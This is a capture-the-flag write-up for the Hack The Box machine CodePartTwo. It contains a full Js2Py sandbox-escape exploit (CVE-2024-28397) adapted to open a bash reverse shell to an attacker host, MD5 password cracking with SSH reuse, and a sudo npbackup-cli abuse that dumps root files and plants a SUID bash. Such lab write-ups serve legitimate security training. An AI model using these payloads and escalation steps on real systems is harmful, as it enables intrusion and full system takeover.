---
# System prepended metadata

title: Hack The Box - CodePartTwo

---

# Hack The Box - CodePartTwo

![](https://img.shields.io/badge/Difficulty-Easy-green) ![](https://img.shields.io/badge/Linux-yellow?logo=linux&logoColor=white) ![](https://img.shields.io/badge/Machine_Rating-4.4_(384)-inactive) [![](https://img.shields.io/badge/View_Machine-gray?logo=hackthebox)](https://app.hackthebox.com/machines/CodePartTwo)

## Table Of Contents

[TOC]

## Exploration

### Port Scanning

```shell!
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
```

Here, we see that the HTTP website is hosted not on the usual port 80, but on 8000 instead. Let's check out what the website has in store.

### Website Discovery

![image](https://hackmd.io/_uploads/BJm_h2gV-g.png)

Not only can we register for new accounts on the website, we can even download the source code - long live open source projects! Before we dive into the source code, however, let's see what logging in takes us.

![image](https://hackmd.io/_uploads/HkPz6heEbe.png)

What we are seeing here is a user interface that allows us to type in JavaScript code and then either save or run it and see corresponding output. With a clearer idea of what the web app does, looking at its source code will also make more sense.

### Source Code Inspection

The structure of the project is as follows.

```shell!
├── app.py
├── instance
│   └── users.db
├── requirements.txt
├── static
│   ├── css
│   │   └── styles.css
│   └── js
│       └── script.js
└── templates
    ├── base.html
    ├── dashboard.html
    ├── index.html
    ├── login.html
    ├── register.html
    └── reviews.html
```

* `app.py` is where most of the backend code goes.
* `instance` and its `users.db` contains dynamic data that differs for each hosted instance of the web app. 
* `requirements.txt` outlines which Python Package Index (PyPI) packages are required for the web app to run.
* `static` and `templates` contain front-end HTML, CSS, and JavaScript.

As of their respective importance,

* `app.py` is going to be the most important as it contains the inner workings of the web app's back-end.
* `users.db` is probably empty or only contains example data, since the source code serves as merely the template of hosting one's own instance of the CodePartTwo web app. That being said, it does provide useful information on the database's schema.
* `requirements.txt` is also worth looking at in case there is any outdated PyPI packages with exploits available.
* `static` and `templates` are lower in priority (except for maybe the JavaScript file), and will probably be the last resort if nothing noteworthy is discovered elsewhere.

Let's look at them one by one.

```python=10
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
```

In `app.py`, the above lines offer us both a potential password that may be used elsewhere, and confirm that `users.db` is a SQLite database. Taking a detour to directly use SSH using the secret key as password for user names such as `root`, `admin`, and `administrator` yielded no success though.

```python=36
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
```

This part of the source code reveals how user passwords are being hashed: message-digest (MD) algorithm 5. MD5 is a rather weak hash by modern standards, so hopefully cracking passwords will not be too much trouble.

Now, we can inspect `users.db` using SQLite 3's shell and take a look at its tables and their schemas (which exist) and rows (unfortunately don't.)

```shell!
$ sqlite3 instance/users.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
code_snippet  user        
sqlite> .schema code_snippet
CREATE TABLE code_snippet (
        id INTEGER NOT NULL, 
        user_id INTEGER NOT NULL, 
        code TEXT NOT NULL, 
        PRIMARY KEY (id), 
        FOREIGN KEY(user_id) REFERENCES user (id)
);
sqlite> .schema user
CREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(80) NOT NULL, 
        password_hash VARCHAR(128) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
);
sqlite> select * from code_snippet;
sqlite> select * from user;
```

Moving on to `requirements.txt`.

```=
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74
```

The PyPI packages used are rather simple, with only Flask, the web framework CodePartTwo uses, and Js2Py, which converts JavaScript code to Python. The latter, however, contains a vulnerability in [CVE-2024-28397](https://nvd.nist.gov/vuln/detail/CVE-2024-28397), which affects Js2Py up to version 0.74 (how convenient!)

## Foothold

### Establish Reverse Shell

In [a proof of concept of CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py), the JavaScript code looks like the following.

```javascript!=
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator; kcalc; "
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
```

However, the above code would require a few tweaks in order to be run on CodePartTwo's dashboard and used to establish a reverse shell.

First of all, `cmd` has to be changed to the command to start a reverse shell. That alone is not enough, though; a look at [Python's Popen Constructor](https://docs.python.org/3/library/subprocess.html#popen-constructor) shows us that only the executable and its arguments can be passed in. The reverse shell command (which can be generated using [Reverse Shell Generator](https://www.revshells.com/),) containing redirection of stdin, stdout, and stderr, contains unaccepted syntax as a result. Therefore, we have to wrap the one-liner in a separate command, making the updated definition of `cmd` look like the following.

```javascript=2
let cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1'"
```

The other change required comes in the last three lines. `n11` is a rather complex object to be converted into a JSON object, so a simple text output would be more fitting.

```javascript=25
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("Reverse shell started!")
```

The final JavaScript code to abuse Js2Py would then look like below. Before clicking the "Run" on CodePartTwo's website, however, make sure to start listening on the desired port on the local terminal first; the command for doing that can also be generated on [Reverse Shell Generator](https://www.revshells.com/).

```javascript!=
// [+] command goes here:
let cmd = "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1'"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("Reverse shell started!")
```

And just like that, we get our first shell.

### App Instance Exploration

Upon connecting to the reverse shell, we first poke around to understand the "who" and "where."

```shell!
bash-5.0$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
bash-5.0$ ls -la
ls -la
total 32
drwxrwxr-x 6 app app 4096 Sep  1 13:19 .
drwxr-x--- 5 app app 4096 Apr  6  2025 ..
-rw-r--r-- 1 app app 3679 Sep  1 13:19 app.py
drwxrwxr-x 2 app app 4096 Dec 30 02:45 instance
drwxr-xr-x 2 app app 4096 Sep  1 13:25 __pycache__
-rw-rw-r-- 1 app app   49 Jan 17  2025 requirements.txt
drwxr-xr-x 4 app app 4096 Sep  1 13:36 static
drwxr-xr-x 2 app app 4096 Sep  1 13:20 templates
```

The user we are right now is called `app`, and we are currently in the web app's directory. Now in a production environment, hopefully `users.db` will contain something more interesting.

```shell!
bash-5.0$ sqlite3 instance/users.db
sqlite3 instance/users.db
.tables
code_snippet  user
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
```

And interesting it is! With prior knowledge of the password hashes being hashed with MD5, we can successfully crack Marco's password: `sweetangelbabylove`. We got lucky trying to connect to the target machine via SSH using this set of credentials, and the user flag is ours.

```shell!
$ sshpass -p 'sweetangelbabylove' ssh marco@10.10.11.82
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 02 Jan 2026 02:29:46 AM UTC

  System load:           0.0
  Usage of /:            57.2% of 5.08GB
  Memory usage:          22%
  Swap usage:            0%
  Processes:             223
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.82
  IPv6 address for eth0: dead:beef::250:56ff:feb0:cf9c


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri Jan 2 02:29:47 2026 from 10.10.15.93
marco@codeparttwo:~$ ll
total 44
drwxr-x--- 6 marco marco 4096 Jan  2 02:30 ./
drwxr-xr-x 4 root  root  4096 Jan  2  2025 ../
drwx------ 7 root  root  4096 Apr  6  2025 backups/
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25  2020 .bashrc
drwx------ 2 marco marco 4096 Apr  6  2025 .cache/
drwxrwxr-x 4 marco marco 4096 Feb  1  2025 .local/
lrwxrwxrwx 1 root  root     9 Nov 17  2024 .mysql_history -> /dev/null
-rw-rw-r-- 1 root  root  2893 Jun 18  2025 npbackup.conf
-rw-r--r-- 1 marco marco  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root  root     9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root  root     9 Oct 31  2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20  2024 .ssh/
-rw-r----- 1 root  marco   33 Jan  2 02:03 user.txt
marco@codeparttwo:~$ cat user.txt 
```

## Privilege Escalation

### Permissions Check

```shell!
$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
```

Here we can see Marco belongs to a non-default group called `backups`. Listing commands Marco can run as a super user makes clear what kind of backup Marco is able to perform.

```shell!
$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
```

Let's take a good look at `npbackup-cli` to see how we could potentially utilize it.

### Taking Advantage Of `npbackup`

For linux commands, it is common practice that adding the `-h` flag would show the usage of the command, and `npbackup-cli` is no exception from this rule. Below are the arguments that will be used later.

```shell!
optional arguments:
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to current dir/npbackup.conf)
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups age
  --ls [LS]             Show content given snapshot. When no snapshot id is given, latest is used
  --dump DUMP           Dump a specific file to stdout (full path given by --ls), use with --dump [file], add --snapshot-id to specify a snapshot other than latest
```

Notice how for the `-c` flag, the file `npbackup.conf` looks familiar? It sits in the same repository as `user.txt`! Using this config file, we can first see what files are backed up most recently by running `npbackup-cli` at the moment.

```shell!
marco@codeparttwo:~$ sudo npbackup-cli -c npbackup.conf --ls
2026-01-02 06:06:09,201 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-02 06:06:09,229 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-01-02 06:06:09,240 :: INFO :: Showing content of snapshot latest in repo default
2026-01-02 06:06:11,604 :: INFO :: Successfully listed snapshot latest content:
snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:
/home
/home/app
/home/app/app
/home/app/app/__pycache__
/home/app/app/__pycache__/app.cpython-38.pyc
/home/app/app/app.py
/home/app/app/instance
/home/app/app/instance/users.db
/home/app/app/requirements.txt
/home/app/app/static
/home/app/app/static/app.zip
/home/app/app/static/css
/home/app/app/static/css/styles.css
/home/app/app/static/js
/home/app/app/static/js/script.js
/home/app/app/templates
/home/app/app/templates/base.html
/home/app/app/templates/dashboard.html
/home/app/app/templates/index.html
/home/app/app/templates/login.html
/home/app/app/templates/register.html

2026-01-02 06:06:11,604 :: INFO :: Runner took 2.364614 seconds for ls
2026-01-02 06:06:11,605 :: INFO :: Operation finished
2026-01-02 06:06:11,612 :: INFO :: ExecTime = 0:00:02.413355, finished, state is: success.
```

Notice how everything backed up seems to be in `/home/app/app/`, which aligns with the `paths` option in the configuration file. If we could somehow change the backup location to `/root`, it would be pretty convenient.

```yaml=8
    backup_opts:
      paths:
      - /home/app/app/
```

And convenient it isn't - if one uses `nano` to edit `npbackup.conf`, the interface would show the configuration file as being read-only. This is nothing to worry about, though: we can just copy `npbackup.conf` to a different location and use the new configuration file instead. Using the new configuration file, however, still led to the following errors when attempting to backup.

```shell!
marco@codeparttwo:~$ sudo npbackup-cli -b -c n.conf
2026-01-02 06:45:48,865 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-02 06:45:48,894 :: INFO :: Loaded config 09F15BEC in /home/marco/n.conf
2026-01-02 06:45:48,907 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-01-02 06:45:51,231 :: INFO :: Snapshots listed successfully
2026-01-02 06:45:51,233 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-01-02 06:45:51,233 :: INFO :: Runner took 2.326521 seconds for has_recent_snapshot
2026-01-02 06:45:51,233 :: INFO :: Running backup of ['/root/'] to repo default
2026-01-02 06:45:52,384 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-01-02 06:45:52,384 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2026-01-02 06:45:52,384 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-01-02 06:45:52,384 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2026-01-02 06:45:52,385 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-01-02 06:45:52,385 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2026-01-02 06:45:52,385 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-01-02 06:45:52,385 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2026-01-02 06:45:52,385 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.888 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 16269d17 saved
2026-01-02 06:45:53,662 :: INFO :: Backend finished with success
2026-01-02 06:45:53,664 :: INFO :: Processed 197.7 KiB of data
2026-01-02 06:45:53,664 :: ERROR :: Backup is smaller than configured minmium backup size
2026-01-02 06:45:53,664 :: ERROR :: Operation finished with failure
2026-01-02 06:45:53,665 :: INFO :: Runner took 4.759894 seconds for backup
2026-01-02 06:45:53,665 :: INFO :: Operation finished
2026-01-02 06:45:53,671 :: INFO :: ExecTime = 0:00:04.808732, finished, state is: errors.
```

Seeing the above logs, we will basically change another few things in the config file. So that a) there are no exclude files and b) the minimum backup size is as small as possible.

```yaml=36
      exclude_files:
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 KiB
```

With the updated configuration file, we can successfully backup, view the files being backed up, and dump the root flag to stdout.

```shell!
marco@codeparttwo:~$ sudo npbackup-cli -b -c n.conf
2026-01-02 07:02:13,241 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-02 07:02:13,271 :: INFO :: Loaded config 2B73BFDE in /home/marco/n.conf
2026-01-02 07:02:13,284 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-01-02 07:02:15,710 :: INFO :: Snapshots listed successfully
2026-01-02 07:02:15,713 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-01-02 07:02:15,713 :: INFO :: Runner took 2.429318 seconds for has_recent_snapshot
2026-01-02 07:02:15,713 :: INFO :: Running backup of ['/root/'] to repo default
2026-01-02 07:02:16,886 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.888 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 363faddb saved
2026-01-02 07:02:18,156 :: INFO :: Backend finished with success
2026-01-02 07:02:18,159 :: INFO :: Processed 197.7 KiB of data
2026-01-02 07:02:18,160 :: INFO :: Operation finished with success
2026-01-02 07:02:18,161 :: INFO :: Runner took 4.87796 seconds for backup
2026-01-02 07:02:18,161 :: INFO :: Operation finished
2026-01-02 07:02:18,170 :: INFO :: ExecTime = 0:00:04.931709, finished, state is: warnings.
marco@codeparttwo:~$ sudo npbackup-cli --ls -c n.conf
2026-01-02 07:05:02,307 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-02 07:05:02,336 :: INFO :: Loaded config 2B73BFDE in /home/marco/n.conf
2026-01-02 07:05:02,347 :: INFO :: Showing content of snapshot latest in repo default
2026-01-02 07:05:04,586 :: INFO :: Successfully listed snapshot latest content:
snapshot 363faddb of [/root] at 2026-01-02 07:02:16.901424428 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2026-01-02 07:05:04,587 :: INFO :: Runner took 2.240309 seconds for ls
2026-01-02 07:05:04,587 :: INFO :: Operation finished
2026-01-02 07:05:04,595 :: INFO :: ExecTime = 0:00:02.291374, finished, state is: success.
marco@codeparttwo:~$ sudo npbackup-cli --dump /root/root.txt -c n.conf
```

Congratulations! All flags on the machine has been captured. However, we kind of cheated: we are able to display the root flag, but we haven't technically obtained the root shell just yet.

### Actually Pwning The Machine

How does a commoner get a root shell, anyways? First of all, the command below is essential.

```bash!
chmod +s /path/to/bash/executable
```

`+s` sets the Set User ID (SUID) bit that makes any user running the executable run it with privileges of the executable's owner. By looking at where `bash` is and inspect its information, we can see that `bash` is owned by root (notice the Uid,) and the command above lets us run a root shell as a result.

```shell!
marco@codeparttwo:~$ which bash
/usr/bin/bash
marco@codeparttwo:~$ stat /usr/bin/bash
  File: /usr/bin/bash
  Size: 1183448         Blocks: 2312       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 1959        Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2026-01-02 05:46:19.929468947 +0000
Modify: 2022-04-18 09:14:46.000000000 +0000
Change: 2024-10-14 00:57:58.789898925 +0000
 Birth: -
```

Now, we can just do `chmod +s /usr/bin/bash`, but that is a premature thought as operating systems can check for unsafe SUID bits. Rather, a common practice is to make a copy of the `bash` executable to `/tmp`; not regularly checked by the operating system, and more easily accessible to non-root users. Copying the executable requires the copy to be done with `sudo`, though, or the copied executable would not be owned by root that way. With these steps in mind, we can modify the `npbackup.conf` copy once more.

```yaml=41
      pre_exec_commands: [cp /bin/bash /tmp/tempbash; chmod +s /tmp/tempbash]
```

With the updated configuration file, we can run the backup again. If the pre-execution commands are properly run, the following logs will show.

```shell!
2026-01-02 08:40:52,095 :: INFO :: Pre-execution of command cp /bin/bash /tmp/tempbash; chmod +s /tmp/tempbash succeeded with:
None
```

Now, the `bash` executable also checks if the effective user ID (which is now root) and the real user ID (which is still going to be that of Marco) is the same, and uses the latter by default if they are not. Therefore, when we finally run `/tmp/tempbash`, we would need to add the `-p` flag to run in privileged mode.

```shell!
marco@codeparttwo:~$ /tmp/tempbash -p
tempbash-5.0# whoami
root
```

And just like that, the pwnership is finally ours.
